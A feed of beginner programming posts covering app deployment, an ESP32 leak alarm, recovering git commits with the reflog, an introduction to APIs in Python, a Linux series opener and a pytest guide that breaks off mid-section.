Coder Legion - Recent posts tagged beginners

Your App Works Locally. What Changes When It Goes to Production?

Fri, 30 Oct 2026 16:18:42 +0000

Hey, Emmanuel here. While I was pondering what to write about this week, I ran into an old project of mine: Relay (A “real-time” messaging platform). Think Facebook, but without any of the stuff that makes it good, like real people and the ability to actually send friend requests. Truth be told, it’s just a badly designed message board with a fixed amount of people :( that I built to learn about Websockets.

The main thing is that I remembered the absolute nightmare it was to deploy it. It’s not that I haven’t deployed a full-stack application before. No, it’s because the “genius” that made the tutorial decided to build the frontend and backend separately and then eventually move it to the same codebase for a single deployment. He configured a single build command for both ends and a lot of shoddy fixes to get it to work.

Thanks to the experience (PTSD) I got from that project, future deployments became substantially easier. So, that gave me the idea to write about taking your app to production. After building it on your machine, what comes next?

It Works on My Machine. What's the Problem?

Having an app that works on your machine but breaks when it hits production is one of the major rites of passage for developers. When you run your app from your machine, it basically acts as a personal server to handle requests and responses. But that works for just your machine, as someone else making a request to http://localhost:5000 sends it to their own device, not yours.

So, deployment means getting your app out of your device and making it accessible to others. However, a lot, and I mean, a lot of things can easily make things spiral out of control.

While developing locally, you often know exactly where everything is, how it connects, and which configuration values it needs. Deployment forces those assumptions to become explicit. Where does the frontend run? Where does the backend run? How do they communicate? Where is the database hosted? How does the application know which URLs and credentials to use? Those are all questions you need to consider when getting your app out of development and into production.

Your App Needs a Home

Firstly, your app needs a home, which is a server that it runs on. Running it locally doesn’t allow external users on other devices to be able to send requests to your server (I know certain network configurations can let it do that, but by default, it doesn't). Therefore, you need a hosting provider, which is a platform that basically offers you a chunk of their infrastructure to run your application. The exact cloud hosting provider you choose depends on your use case, requirements, and budget. For Relay, however, I used Render (this is my go-to, as their free tier is quite generous).

As you probably know, not every part of your application lives in one place. Usually, you have the frontend of the app, which deals with the client-facing services like the UI, while the backend manages data, logic, and security. Now, the way you deploy your application depends on how you arrange the frontend and backend.

For combined deployment, the frontend is built into static files, and a server serves those files while receiving backend requests. This is actually how I first started web development, using EJS (Embedded JavaScript) alongside Express/Node.js to serve my frontend. With this arrangement, you deploy the whole thing as one, as the backend receives requests directly and serves the appropriate frontend file.

However, I eventually discovered that separate deployment was the popular choice. The frontend and backend are deployed as separate services, usually with different URLs. For Relay, I actually used this arrangement. The React frontend displayed the UI, and the backend provided the core logic, like authentication, messaging, and account creation.

So now, your frontend and backend are now deployed. However, if you used the separate deployment approach, they still need to be able to communicate with one another. So, how do we do that?

The Frontend and Backend Need to Find Each Other

It’s quite obvious that both ends of your application need to communicate to actually work. For that, we use an API (a set of rules and protocols that allows different software applications to communicate and share data with each other). During development, the backend API runs on localhost (something like http://localhost:5000/api/). Hence, the frontend sends requests to that url.

However, when deployed, both ends get live URLs. Back then, I didn’t know most of this, so I wondered why Relay didn’t work when deployed. After a few frustrating minutes, I discovered I was still sending requests to http://localhost:5000/api/ from the deployed frontend. I recommend using environment variables rather than hardcoding these paths, as it’ll be easier to switch between development and production URLs without changing your code.

Of course, there are many other things that can go wrong. In my own case, I also experienced a CORS (Cross-Origin Resource Sharing) error. Keep in mind that this is a security feature designed to stop malicious sites from secretly reading your data on other websites. Notably, tools like Postman or curl don’t enforce CORS, so your API might work during development but fail when it hits production.

Fortunately, CORS errors are straightforward to handle. All you need to do is configure your backend server to include specific HTTP response headers. Setting these headers lets you provide the live frontend URL, list the allowed methods, and even include custom headers. If, like me, you use Express/Node.js for the backend, you can do this by installing the cors package and setting it up.

Where Does Your Data Live?

More often than not, your application might need to access a database for full functionality. However, a database running locally on your development machine isn’t automatically accessible by your deployed application. For this, you use a cloud database service; Supabase, Neon, and AWS RDS can provide PostgreSQL databases, while MongoDB Atlas hosts MongoDB databases.

After setting up a database from any of these cloud providers, you get a connection string. You can then configure your backend to use this connection string for accessing the database. However, DON’T hardcode the connection details in your code; use environment variables to securely pass in the required database access credentials.

I actually used MongoDB Atlas (the tutorial made me do that :( ) while building Relay, so the connection URI was set right from the development stage.

From Localhost to a Live Application

I’ve always heard about deployment issues from other devs, but getting a firsthand experience is something else. Turns out getting an application working locally is a far different game from making it accessible, secure, and reliable once it’s live. However, as I’ve now learned, each frustrating deployment teaches a valuable lesson.

Looking back, Relay wasn't exactly my finest work, but the deployment experience taught me things I wouldn't have learned by simply following a tutorial. Take your time, understand how the different pieces fit together, and don't be afraid to troubleshoot.

Build a water-leak alarm for under the sink (ESP32, one evening)

Fri, 30 Oct 2026 11:14:12 +0000

"How do I get warned before a leak under the sink floods the kitchen?"

Water conducts a little electricity. Two metal contacts a few millimetres apart on the cupboard floor, a small board that checks them, a loud buzzer and a phone alert. The test is dramatic: pour a glass of water and it screams.

Cost $6–12 · Time one evening · Level first build · Power USB or battery

What to buy

Part	Why this one	Rough cost
ESP32-C3 board	Small, cheap, WiFi built in.	$4–7
Leak probe: two wires or two screws, a few mm apart	Or a cheap "rain sensor" board with a comparator, which gives a simple wet/dry signal.	$0–2
Active buzzer	Beeps by itself when powered, so no tone code is needed. It still warns you when your phone is off.	$1
A 100 kΩ resistor	For reading the probe (see step 1).	$0.10
USB power (there's often a socket under the sink) or batteries		—

Prices are rough ranges, not quotes. Check the current price and stock before you order.

What to install

ESPHome or a short Arduino sketch: check the probe, sound the buzzer when it's wet, and send a phone alert through ntfy or Home Assistant. Repeat the alert every few minutes until it's dry; a leak is urgent.

Ready-made option: leak sensors for Zigbee or WiFi cost about $10–20. Build your own to learn, or to get a loud buzzer right at the sink.

Build it in three steps

Test with a glass of water. Connect one probe to ground. Connect the other to an analog pin, and through the 100 kΩ resistor to a second pin that you switch on only while measuring. Print the reading dry, and with the probe in water: wet should read clearly lower.
Add the buzzer and the alert. Drive the buzzer from a pin (through a small transistor if it needs more current than a pin can give). Alert once when it turns wet, then every few minutes.
Place it. Probes flat on the lowest point of the cupboard floor; board and buzzer higher up, where they stay dry.

What catches people out

Probes corrode if they're powered all the time. Constant current through wet metal eats it away. Power the probe only for the moment you measure, which is why the resistor goes to a pin, not straight to 3.3V.
Damp isn't a leak. Set the alert point from your own test, well away from the dry reading.
Battery version: wake every 30–60 seconds, check, sleep. A leak takes minutes to do damage, so that's fast enough.
Low voltage only. USB or batteries; never run mains wiring near the water.

This guide first appeared on IotMentor, a free chat mentor for small electronics builds (I make it). If your setup is different (distance, power, budget, experience), you can ask it there and it will plan your version.

You Ran git reset --hard and Panicked. Here's How to Get Your Commits Back (and the One Thing You Ca

Fri, 23 Oct 2026 10:54:58 +0000

Your stomach drops. You typed git reset --hard, or deleted the wrong branch, or a rebase ended with half your commits missing. The log looks empty. Three days of work, gone.

Take a breath. If you ever committed that work, it is almost certainly still there. Git is much harder to destroy than it looks, and the tool that proves it is called the reflog.

What the Reflog Is

Your normal history (git log) shows the commits reachable from your current branch. The reflog is a different record: a private diary of everywhere HEAD has pointed on your machine, in order, including places you have since left.

git reflog

a1b2c3d HEAD@{0}: reset: moving to HEAD~3
9f8e7d6 HEAD@{1}: commit: add pricing page
4c5d6e7 HEAD@{2}: commit: fix navbar on mobile
b7a8c9d HEAD@{3}: commit: add contact form

A hard reset moved your branch pointer backwards. It did not delete the three commits. They are still stored, and the reflog tells you their IDs.

Disaster 1: `git reset --hard` Threw Away Commits

Find the entry from just before the mistake and go back to it:

git reflog
git reset --hard 9f8e7d6

You can also use the position instead of the ID:

git reset --hard HEAD@{1}

Your branch is back exactly where it was. The "lost" commits are the same commits, same IDs, nothing rewritten.

Disaster 2: You Deleted a Branch You Still Needed

git branch -D feature/checkout
# Deleted branch feature/checkout (was 3e4f5a6).

Look at that output. Git told you the ID of the commit the branch pointed at. If you missed it, the reflog still has it:

git reflog
# find the last commit you made on that branch
git checkout -b feature/checkout 3e4f5a6

A branch is only a label that points at a commit. Delete the label and the commits stay, until Git cleans them up much later.

Disaster 3: A Rebase Went Wrong

Mid-rebase mistakes feel the scariest, because rebase rewrites history. It still keeps the old version in the reflog.

Right after a rebase, ORIG_HEAD points at where you were before it started:

git reset --hard ORIG_HEAD

If you have done other things since, find the entry that says something like rebase (start) in the reflog, take the entry just before it, and reset to that.

Disaster 4: You Dropped a Stash

git stash drop removes the stash from the list, but the commit it was stored in still exists for a while. If you have the ID that was printed, apply it directly:

git stash apply 7a8b9c0

If you do not have the ID, search for unreachable commits:

git fsck --no-reflog | grep "dangling commit"

Then inspect each ID with git show <id> until you find your changes. This is slower and less certain than the reflog, so treat it as the last resort.

The One Thing You Cannot Recover

This is the part many tutorials skip.

Changes you never committed and never staged are not in the reflog, and git reset --hard deletes them permanently.

The reflog records commits. If you edited files, never ran git add or git commit, and then ran git reset --hard or git checkout . or git restore ., those edits are not stored anywhere in Git. There is nothing to recover.

A small mercy: if you did run git add, the staged file contents were saved as objects, and git fsck --lost-found may be able to find them. It is messy, but possible. Unstaged edits have no such safety net.

Why Reflog Entries Do Not Last Forever

The reflog is local to your machine, and it expires. By default, entries for commits that are still reachable are kept for about 90 days, and entries for unreachable ones for about 30 days. After that, Git's cleanup can remove the commits for good.

It also lives only in your clone. A fresh git clone has an empty reflog, and it cannot help you recover something that was lost in someone else's copy.

How to Make This Less Scary Next Time

Commit early, even when it is messy. A commit called "wip" is a safety net. You can clean the history up later with an interactive rebase.
Stash before you experiment. git stash takes a snapshot you can come back to.
Use --force-with-lease instead of --force. It refuses to overwrite a branch if someone else pushed commits you have not seen yet.
Read what Git prints. Deleting a branch tells you the ID. Copy it somewhere before doing anything else.
Create a rescue branch first. Before any risky command, run git branch backup-before-rebase. It costs nothing and gives you a label to return to.

The Rule

If you committed it, Git almost certainly still has it. Open git reflog before you do anything else. And if you are about to run a command that can discard work you have not committed, commit or stash first.

Quick drill: make a throwaway repo, create three commits, run git reset --hard HEAD~3, and get them back with the reflog. Do it once when nothing is at stake, and the real thing is not scary any more.

If you build with Next.js, my templates on pixelanas.com give you a clean starting point, which is a good first commit to have in your history.

Get the templates: https://pixelanas.gumroad.com

What is the worst thing you have ever lost to a Git command, and did you get it back? Tell me in the comments.

Anas, full-stack Next.js developer building SaaS products and premium templates. X: @ASheikh69751

I Built PHANTOM Nature Scout: An Open-Source AI Companion for Exploring Nature

Wed, 21 Oct 2026 07:19:04 +0000

This is a personal project inspired by the Hacktoberfest Open-Source AI Challenge Week 1 theme, “Touch Grass.”

What I Want to Build

PHANTOM Nature Scout is a concept for an AI-powered nature companion designed to encourage people to spend more time outdoors. It aims to help users observe nature, identify discoveries, and keep a record of what they learn.

Demo

The working demo will be added here after implementation and testing.

Code

The source code repository will be linked here after the project is implemented.

How I Plan to Build It

I plan to use an open-weight AI model for nature-image recognition, with a simple interface and locally stored observations. I will test the model on my Windows laptop and document its actual capabilities and limitations.

Why Open Innovation Matters

Open-source tools can give developers more control over their technology. Depending on the model and its licence, local inference can improve privacy, reduce dependence on external services, and allow experimentation with different models.

What I Learned

I will document what worked, what failed, and what I learned while building and testing the project.

What Are APIs? And How Do They Work?

Thu, 15 Oct 2026 13:41:10 +0000

A beginner-friendly guide, with a bit of Python and a lot of food analogies.

Imagine you're building a weather application, and it needs to show the current temperature in Mutare. There's just one problem: you don't own any weather sensors, and you definitely don't have a meteorological database lying around. Building that infrastructure yourself would be a huge project. Why reinvent the wheel? So you borrow the data from a service that already has it.

The tool that makes this possible is something developers use all the time, often without noticing: an API.

Welcome to another article, where we talk about APIs. Why they're needed, what they are, how they work, types of APIs, and show an example of a code block using an API.

In simple terms, an API is a defined interface that lets one piece of software interact with another. If you like, think of APIs as the cellphones of applications: they give programs a set way to call each other up and ask for things, like: "Hey, can I have all the PDF documents on machine learning for beginners?"

In this article, we'll cover what APIs are, how they work, how to make your first API request in Python, the main types you'll hear about, and five beginner projects to practise on.

Why Do Applications Need to Communicate?

Modern applications rarely work alone. They depend on data and services provided by other systems.

Take a food delivery app. It needs restaurant menus, a payment service, a map to show your location, and live tracking so you can follow your food as it's being delivered. Each job belongs to a different system, and the app connects to them instead of building everything itself.

The same is true for AI applications. A chatbot might send a prompt to an AI model through one API, then fetch relevant information from a database through another, and combine both to write its answer. Each part has one responsibility, and each is reached through its own interface.

Now let's bring this closer to home. In my current capstone project, we have five group members, each with different roles and strengths. We can't just disappear into our corners and hope everything magically fits together at the end. We need agreed rules: who builds what, what each piece takes in, and what it hands back.

Software components need the same thing. Without a clearly defined way to talk to each other, they can't reliably work together. That defined way of making requests and passing information is the API.

What Is an API?

Six months ago, I didn't even know what the letters stood for. Today I can tell you that API stands for Application Programming Interface.

Here's the more precise definition. An API is a defined interface that allows one software component to interact with another. It specifies how requests can be made, what information or functionality is available, and how the receiving system communicates the result (Amazon Web Services, n.d.).

The application using the API doesn't need to know all the internal details of the system providing the service. It needs to understand the interface and follow the rules for using it.

Think of a restaurant menu. It tells you what you can order and what to expect back: "Quarter chicken and chips with lettuce", and sometimes even a picture of the plate you're about to get.

You don't need to know how the kitchen works, where the ingredients are stored, or what the chef does behind the scenes. You look at the menu and place your order. That's it.

In this analogy, the menu is the API (the interface), and your order is the request. It's basically: "I want this. I don't need to know how you do it, but here's how I'll ask for it."

A quick caveat, though. The menu doesn't cook anything. In a typical web API, the API defines the interaction, while the server behind it does the actual work. Keep that in mind, because we'll come back to it.

APIs aren't only for the internet

Note: An API isn't necessarily a website, a database, or something that runs over the internet. APIs also exist inside programs. For example, a software library has an API that tells you which functions you can call, and an operating system has APIs that let programs open files or draw things on screen.

How Do APIs Work? The Request-Response Cycle

Let's put the restaurant to work. You're hungry and you order a burger:

You place an order (request). Your application asks for something, like the current weather in Mutare.
The kitchen gets to work (processing). The server receives the request and prepares what was asked for.
Your food arrives (response). The server sends the result back, and your application displays it.

Here's how the roles line up:

The menu is the interface and its rules.
The customer is the client (your application).
The kitchen is the server that processes the request.
The meal is the response.

In a typical web API interaction, the client sends a request to an endpoint (a specific web address) using a defined format and method. The server receives the request, validates it, and performs the required operation, which may involve retrieving data or communicating with another service. It then returns a response, often containing a status code and data formatted as JSON (MDN Web Docs, n.d.).

What happens when something goes wrong?

Not every order ends with a delicious burger. You might order something that isn't on the menu (an invalid request), the kitchen might run out of ingredients (a server error), or the waiter might never make it to your table (a network problem). If something goes wrong, the server may return an error response instead, and the client should be ready to handle both successes and failures.

Making Your First API Request in Python

Enough theory. Let's actually use an API!

We'll use Python and JSONPlaceholder, a free fake online REST API built for testing and experimentation. It lets us practise a simple request without building our own backend.

First, install the requests library:

pip install requests

Next, the code:

import requests

url = "https://jsonplaceholder.typicode.com/posts/1"

try:
    response = requests.get(url, timeout=10)
    response.raise_for_status()
    post = response.json()
    print(f"User ID: {post['userId']}")
    print(f"ID: {post['id']}")
    print(f"Post Title: {post['title']}")
    print(f"Post Body: {post['body']}")
except ValueError:
    print("The response was not valid JSON.")
except requests.RequestException as error:
    print("Request failed:", error)

That's it, we've just made an API request! Here's what's happening, in plain language:

requests.get(url, timeout=10) sends an HTTP GET request, which means "please give me this." It's us placing our order. The timeout=10 tells Python to stop waiting after 10 seconds, so our program doesn't hang forever if the kitchen has vanished.
response.raise_for_status() checks whether the request succeeded. If the server answers with an error status code (like 404 for "not found" or 500 for "server problem"), it raises an exception instead of letting the program carry on as if nothing happened (Requests, n.d.).
response.json() parses the response body, which means it turns the JSON text into Python data (here, a dictionary) that we can work with. If the body isn't valid JSON, this step fails.
post['userId'], post['id'], post['title'] and post['body'] each read one field from that dictionary: who wrote the post, the post's own number, its title and its text. The f-strings add a label in front of each value so the output is easy to read.
The except blocks are our safety net. One catches invalid JSON, and the other catches request failures such as timeouts, connection problems and bad status codes. Either way, we print a readable message instead of crashing.

Here's what I got when I ran the code:

The API returns a sample post with a user ID, a post ID, a title and a body, and those are the four values we printed. We don't know how the service stores that data, and we don't need to. We use the interface and work with what comes back.

Tip: Run this code yourself and then break it on purpose. Change the URL to /posts/99999 or remove a letter from the address, and watch which error message appears. You'll learn more from the failures than from the success.

Types of APIs: REST, SOAP, GraphQL and WebSockets

Do all APIs work the same way? The short answer is no. Here are four you'll hear about often.

REST APIs

REST is an architectural style commonly used to build web APIs, often over HTTP. Resources like users, products or blog posts are accessed through addresses. Our JSONPlaceholder example was a REST API.

Use it when: you're building a standard web or mobile backend. It's a sensible starting point for most beginners.

SOAP APIs

SOAP is a messaging protocol that exchanges structured messages, usually written in XML, under strict rules. It's more rigid than REST and is often found in older or enterprise systems.

Use it when: you're integrating with a system that already requires it, such as some banking or enterprise services.

GraphQL APIs

GraphQL is a query language and runtime. Clients can request the specific fields they need, within the limits of the server's schema and permissions. An app showing a profile page might ask only for a user's name and email instead of their entire record.

Use it when: different screens or clients need different slices of the same data.

Further reading: The official GraphQL introduction explains queries and schemas.

WebSocket APIs

WebSockets provide a persistent, two-way connection, instead of the usual "ask once, answer once" pattern of HTTP. They can support real-time APIs.

Use it when: you need constant live updates, such as chat, multiplayer games or live dashboards.

These aren't all the same kind of thing

Here's the part that confused me at first: these four aren't competing options from the same category. REST is an architectural style, SOAP is a protocol, GraphQL is a query language and runtime, and WebSocket is a communication protocol. They also aren't mutually exclusive. A single application might use REST for normal data, GraphQL for flexible queries and WebSockets for live notifications.

There's no single API style that fits every situation. The right choice depends on what you're building.

Why APIs Matter (and Where They Can Hurt)

APIs let developers build on existing technology, combining services into applications that would be far more complicated to create alone.

If you're into AI like I am, this matters even more. Picture an AI-powered application that uses a language model, retrieves information from a database and processes payments, all through separate APIs.

An AI model and an AI API are not the same thing. The model performs the inference, while an API can provide a defined way for an application to send input to a hosted model and receive its output. This means developers can build AI-powered applications without necessarily hosting the model themselves, although they still need to manage the surrounding application logic, security and usage costs.

The trade-offs of depending on someone else's API

Although APIs make integration easier, they also introduce considerations such as authentication, rate limits, security and reliability. Some services require API keys, while others restrict the number of requests a client can make or charge based on usage. Requests can also fail because of network issues or server errors. Developers should protect private credentials, follow the provider's usage requirements, and design applications to handle failures gracefully.

There's also dependency risk. An external API can change, go offline, impose quotas or start charging for something that used to be free. Your app is only as reliable as the services it leans on.

Further reading: The OWASP API Security Project lists the most common API security risks and how to reduce them.

5 Beginner API Projects to Practise With

Now let's practise. Each project below has a clear finish line and at least one error case to handle. The difficulty ratings are rough guides, not universal truths, so a project may feel easier or harder for you. Always check each provider's current documentation for key, account and usage requirements, since these can change.

1. Weather app (beginner)

Build an app that shows the temperature, humidity and current conditions for a place of your choice. Use Open-Meteo, which offers weather data as JSON and, at the time of writing, doesn't need an API key for its free, non-commercial use.

You'll practise: GET requests, query parameters, JSON responses and displaying data.
Success looks like: typing a city's coordinates and seeing its current weather on screen.
Error case to handle: the request times out or the service is unreachable.

2. Random cat image generator (beginner)

A tiny app that shows a new cat picture each time someone clicks a button. Simple, fun and surprisingly good for the basics. Use The Cat API, and check its docs for current authentication and usage requirements.

You'll practise: making requests, handling responses, displaying images and responding to clicks.
Success looks like: a new cat appears on every click.
Error case to handle: the image fails to load, so show a friendly message instead of a broken picture.

3. Book finder (beginner)

Let users search by title or author and show titles, authors, publication dates and cover images with the Google Books API.

You'll practise: search queries, query parameters, looping through multiple results and displaying structured data.
Success looks like: searching "Things Fall Apart" and seeing a list of matching books.
Error case to handle: a search that returns no results. Show "No books found" rather than a blank page.

4. Movie search app (beginner to intermediate)

Build a movie lookup that shows titles, release dates, ratings and posters using The Movie Database (TMDB) API. Check the current requirements for accounts, API keys, attribution and usage before you start.

You'll practise: authentication, search queries and displaying data in a user interface.
Success looks like: searching for a film and seeing its poster, rating and release date.
Error case to handle: an invalid or missing API key.

5. AI chatbot (intermediate)

Build a simple chatbot that sends a user's message to an AI model and displays the reply. Follow the OpenAI API quickstart to make your first request. Hosted model APIs need a key and may charge for usage, so keep an eye on costs.

You'll practise: POST requests, sending data in a request body, authentication and handling AI-generated responses.
Success looks like: typing a question and getting a model-generated answer back.
Error case to handle: the request fails, the rate limit is hit or the key is invalid.

Warning: Never put private API keys in frontend code or commit them to GitHub. For a web app, make the API call from your server and load the key from an environment variable.

Where Should You Start?

If you've never worked with APIs before, start with the cat generator or the weather app. Both let you focus on the fundamentals without much application logic getting in the way.

Once you're comfortable, move on to the book finder and movie search. Save the chatbot for when you're ready to deal with authentication, POST requests and keeping secrets safe.

Start small, experiment, break things, and build your way up. The goal isn't only to finish the projects. It's to understand what happens each time your application talks to another service.

Frequently Asked Questions

Do I need to know how a server works to use an API?

No. That's the whole point of an interface. You need to understand how to ask and what you'll get back, not how the system works internally.

What's the difference between an API and an API key?

The API is the interface. The API key is like a membership card that some providers require so they know who is making requests and can apply limits or charges.

Is a free API really free?

Often, but usually with limits. Check the provider's documentation for rate limits, usage rules and whether free access is allowed for your kind of project.

Conclusion

An API is a defined interface that lets software components interact without needing to know each other's inner workings, much like ordering from a menu without visiting the kitchen.

In a typical web API, the client sends a request, the server processes it, and a response comes back, which might be data or an error.

We saw this in Python with requests, adding a timeout, raise_for_status() and exception handling so the code copes with failure.

REST, SOAP, GraphQL and WebSockets are different tools that can even live in the same app.

APIs make integration possible, but they bring authentication, rate limits, costs and dependency risks. Start with a small project, break it on purpose, and learn from what happens.

Now that you know what's going on behind the scenes, the next time you use an app, you might catch yourself wondering which APIs are making it work.

Happy coding!

See you next time!

References

Amazon Web Services. (n.d.). What is an API? Amazon.com. Retrieved October 14, 2026, from https://aws.amazon.com/what-is/api/

MDN Web Docs. (n.d.). HTTP. Mozilla. Retrieved October 14, 2026, from https://developer.mozilla.org/en-US/docs/Web/HTTP

Requests. (n.d.). Quickstart. Requests documentation. Retrieved October 14, 2026, from https://requests.readthedocs.io/en/latest/user/quickstart/

Welcome: Why I Started Learning Linux

Wed, 14 Oct 2026 08:10:53 +0000

When I joined MountBlue, one of the first things we were asked to do was dual boot Ubuntu.

Before that, I had always used Windows. I had built several projects on it and, during college, I had only learned a few basic Linux commands like pwd, ls, and cd. To me, Linux was just another operating system that developers talked about.

I also had many misconceptions.

I thought Ubuntu, macOS, Windows, and Android were simply different operating systems with no deeper relationship. I had heard that most software companies preferred developers to use Ubuntu or macOS, but I never really understood why.

Installing Ubuntu made me curious.

I started asking questions like:

Is Linux an operating system or just a kernel?
Why do people keep mentioning Unix and GNU?
Why do developers prefer Linux over Windows?
If Windows already has a terminal, why is Linux so popular among developers?

As I explored further, I realized something interesting.

For most everyday users, the operating system is mainly a way to run applications through a graphical interface. Whether it's browsing the web, watching videos, or editing documents, everything is designed to be accessed through windows, icons, and menus.

Software developers, however, often work in environments that are very different from a typical personal computer. They interact with remote servers, cloud machines, containers, and virtual machines—systems that often don't have a graphical desktop at all. In these environments, the command-line interface (CLI) becomes the primary way to work.

That made me realize learning Linux isn't just about memorizing commands. It's about understanding how operating systems work and why developers rely on them every day.

This series is my attempt to document that journey.

I'm not writing these articles because I know Linux. I'm writing them because I'm learning Linux—and writing is helping me understand it better. If you're beginning your journey too, let's learn together.

Welcome to Linux from Scratch.

In the next article, we'll start from the very beginning.

What exactly is Unix, and why did Linux even exist if Unix was already there?

See you in Part 1.

Pytest in Practice

Tue, 13 Oct 2026 12:45:48 +0000

I've been learning Python by building a video clipping CLI application, and along the way I've ended up learning a lot more than I expected.

Some of it was straightforward. Some of it made me stop and think, especially when I first started writing tests.

Things like:

How does pytest even know which functions are tests?
Why does everyone keep putting things in conftest.py?
When should I use a fixture?
What's the difference between patch and monkeypatch?
Why did my mock not work when I was sure I patched the right thing?
When should I mock something, and when should I just run the real thing?
What's the point of parametrization when I could just use a loop?
How do I debug one failing test without running the entire suite every time?

These are the kinds of things that can feel like arbitrary rules when you're first encountering them.

Once I understood the reasoning behind them, though, pytest started making a lot more sense.

So this isn't meant to be a complete pytest reference or an explanation of every feature pytest has. It's more like a collection of the things that finally "clicked" for me while testing a real Python project.

The examples are based on my video clipping CLI, so you'll see things like FFmpeg, video metadata, audio extraction, transcription, temporary files, external dependencies, and slow tests.

Hopefully, if you're also learning Python by building something rather than just following tutorials, some of these lessons save you a few of the "why does it work like that?" moments I had.

Installing pytest

If you're using uv, installing pytest and coverage support is straightforward:

uv add --dev pytest pytest-cov
uv run pytest --version

You now have everything needed to start writing and running tests.

Your First Test

A pytest test can be nothing more than a function:

# tests/core/test_video_inspector.py

from clipper.core.video_inspector import get_video_metadata


def test_get_video_metadata_returns_none_on_missing_file():
    result = get_video_metadata("does_not_exist.mp4")
    assert result is None

Run it with:

uv run pytest

That's it.

There is no base class, no registration, and no decorator required.

pytest finds the test because:

the file starts with test_
the function starts with test_

That naming convention is the mechanism.

How Does pytest Find Your Tests?

pytest automatically walks the current directory and its subdirectories looking for test files.

By default, it looks for files matching patterns such as:

test_*.py
*_test.py

Inside those files, it looks for functions matching:

test_*

and, inside classes whose names start with Test*, methods that also match test_*.

So this:

tests/
└── core/
    └── test_video_inspector.py

is enough for pytest to discover the file automatically. You don't need to register the test anywhere.

This is also why commands such as:

uv run pytest --cov=src

work without explicitly listing every test file. pytest's discovery mechanism does the work.

Assertions: Just Use `assert`

One of the nicest things about pytest is that you use Python's built-in assert.

def test_fps_math():
    assert round(29.970029970029969, 2) == 29.97

You don't need a collection of methods like:

assertEqual(...)
assertTrue(...)
assertFalse(...)
assertIn(...)

Instead, pytest rewrites assert statements when running tests so that failures contain useful information about what each side evaluated to. That makes a failed assertion much more informative than simply:

Assertion failed

Comparing Floats with `pytest.approx`

Don't compare floating-point calculations using exact equality.

Instead:

import pytest


def test_duration_seconds():
    assert 125.5 == pytest.approx(float("125.500001"))

Floating-point calculations rarely land exactly where you expect. This matters especially when dealing with things like frame rates, durations, timestamps, or calculations involving Fraction.

Without pytest.approx, you might end up writing this everywhere:

assert abs(actual - expected) < 0.001

pytest.approx gives you the tolerance without repeating that boilerplate.

`pytest.approx` Works with Nested Structures

pytest.approx isn't limited to individual numbers. You can use it when comparing nested structures:

def test_transcribe_matches_golden_output(
    sample_speech_path,
    sample_transcript,
):
    result = transcribe(str(sample_speech_path))

    assert result == pytest.approx(sample_transcript)

This is particularly useful for regression or "golden file" tests. Imagine a transcript like:

{
    "segments": [
        {
            "start": 0.123456,
            "end": 1.987654,
            "words": [
                {"word": "hello", "start": 0.123},
                {"word": "world", "start": 0.456},
            ],
        }
    ]
}

You don't want to write a loop comparing every timestamp manually. pytest.approx can recursively compare numeric values with tolerance while still using normal equality for strings and other values — so it's practical to compare an entire expected transcript while allowing for harmless floating-point differences.

Testing That an Error Is Actually Raised

When the expected behavior is for a function to raise an exception, use pytest.raises.

import pytest


def test_extract_audio_raises_on_bad_codec():
    with pytest.raises(ffmpeg.Error):
        extract_audio(
            "in.mp4",
            "out.wav",
            codec="not_a_real_codec",
        )

This test verifies two things:

The code raises an exception.
The exception is the expected type.

The test fails if the function doesn't raise anything. It also fails if it raises a different exception type. Both outcomes are useful information.

`pytest.raises` Only Works When the Exception Escapes

There's an important distinction here. Suppose your function catches its own exception:

def extract_audio(...):
    try:
        ...
    except ffmpeg.Error:
        logger.error(...)
        return None

The exception never reaches the caller. Therefore, this won't work:

with pytest.raises(ffmpeg.Error):
    extract_audio(...)

There's nothing left for pytest.raises to catch. Instead, test the function's actual contract:

result = extract_audio(...)

assert result is None

And, if logging is part of the behavior you care about, use caplog to verify that the expected error was logged.

A useful rule of thumb:

If the function returns None from its except block, test the return value rather than expecting an exception.

Parametrize: One Test, Many Inputs

Suppose you need to test several timestamp formats. You could write three tests:

def test_timestamp_one():
    ...


def test_timestamp_two():
    ...


def test_timestamp_three():
    ...

But the test logic is identical. That's exactly what pytest.mark.parametrize is for:

@pytest.mark.parametrize(
    "timestamp,expected_seconds",
    [
        ("00:00:01", 1.0),
        ("00:01:00", 60.0),
        ("01:00:00", 3600.0),
    ],
)
def test_validate_timestamp_parses_valid_formats(
    timestamp,
    expected_seconds,
):
    assert validate_timestamp(timestamp) == pytest.approx(expected_seconds)

Think of it like a form letter: the first argument names the blanks to fill in (timestamp, expected_seconds), and the second argument is a stack of filled-in versions. pytest prints one out and runs the test for each one:

test_validate_timestamp_parses_valid_formats[00:00:01-1.0]
test_validate_timestamp_parses_valid_formats[00:01:00-60.0]
test_validate_timestamp_parses_valid_formats[01:00:00-3600.0]

Each case can pass or fail independently.

Why independence matters

You could achieve something similar with a loop:

def test_timestamps():
    for timestamp, expected in cases:
        assert validate_timestamp(timestamp) == expected

But there's a major difference: a normal loop stops at the first failure. With parametrization, pytest runs every case. So one test run tells you exactly which inputs are broken instead of merely telling you:

test_timestamps failed

When should you use it?

The signal is simple:

If you're about to write several nearly identical test functions that differ only in their input values, consider parametrize.

It works just as well for valid inputs as it does for malformed or invalid ones.

Grouping Tests in a Class

pytest supports test classes:

class TestGetVideoMetadata:
    def test_returns_none_for_missing_file(self):
        assert get_video_metadata("missing.mp4") is None

    def test_has_audio_true_when_audio_stream_present(self):
        ...

But classes aren't mandatory. Use them when they provide something useful, such as:

shared setup
fixtures scoped to the group
applying a marker to multiple tests

Don't use a class purely because it feels more organized. A well-named test file already provides plenty of organization.

An important detail about test classes

Each test method gets a fresh instance of the class. So this:

class TestSomething:
    def test_one(self):
        self.value = 1

    def test_two(self):
        assert self.value == 1

is not valid. test_two doesn't receive the instance used by test_one. That's intentional — tests should be isolated from one another. Depending on mutable state from another test creates order-dependent and difficult-to-debug failures.

Fixtures

Fixtures are one of pytest's most useful features. A fixture is a function that provides something a test needs — think of it like an ingredient a recipe asks for by name. You don't prep it inside the recipe itself; you just say "I need sample_video_path" and pytest hands it to you already made.

# tests/conftest.py

import pytest
from pathlib import Path


@pytest.fixture
def sample_video_path() -> Path:
    return Path(__file__).parent / "fixtures" / "sample.mp4"

A test can then request it simply by putting the fixture name in its parameters:

# tests/core/test_video_inspector.py

def test_metadata_against_real_file(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result is not None

pytest sees sample_video_path in the test signature, finds the fixture with that name, runs it, and passes the result to the test. No import is required.

Why `conftest.py` Matters

